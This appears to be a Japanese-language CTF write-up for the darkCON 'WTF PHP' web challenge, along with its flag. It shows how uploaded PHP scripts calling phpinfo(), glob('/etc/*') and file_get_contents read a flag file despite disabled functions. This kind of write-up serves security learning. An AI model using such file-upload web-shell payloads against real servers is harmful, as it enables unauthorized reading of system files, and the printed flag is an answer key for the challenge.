Skip to content

Latest commit

 

History

History

WTF_PHP

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

WTF PHP:Web:269pts

Your php function didnt work? maybe some info will help you xD 
PS: Flag is somewhere in /etc
Note: This chall does not require any brute forcing

Link

Solution

アクセスするとファイルをアップロードでき、それを閲覧できるサイトのようだ。
index.php
site1.png
phpが設置できるので、systemを呼べばよいのだが動作しない。
infoに助けがあると問題文にあるので、以下のinfo.phpでphpinfoを呼び出す。

<?php
echo "info.php";
phpinfo();
?>

disable_functionsを見る。
df.png
任意コード実行できるものが軒並み使用不可となっている。
しかし、globfile_get_contentsは使用できる。
以下のglob.phpで問題文で指定されている/etc内をすべて見る。

<?php
echo "glob.php";
print_r(glob("/etc/*"));
?>

glob.php
site2.png
/etc/f1@g.txtなる怪しいファイルがあるようだ。
以下のfgetcont.phpで読み込む。

<?php
echo "fgetcont.php";
echo file_get_contents("/etc/f1@g.txt");
?>

fgetcont.php
flag.png
flagが書かれていた。

darkCON{us1ng_3_y34r_01d_bug_t0_byp4ss_d1s4ble_funct10n}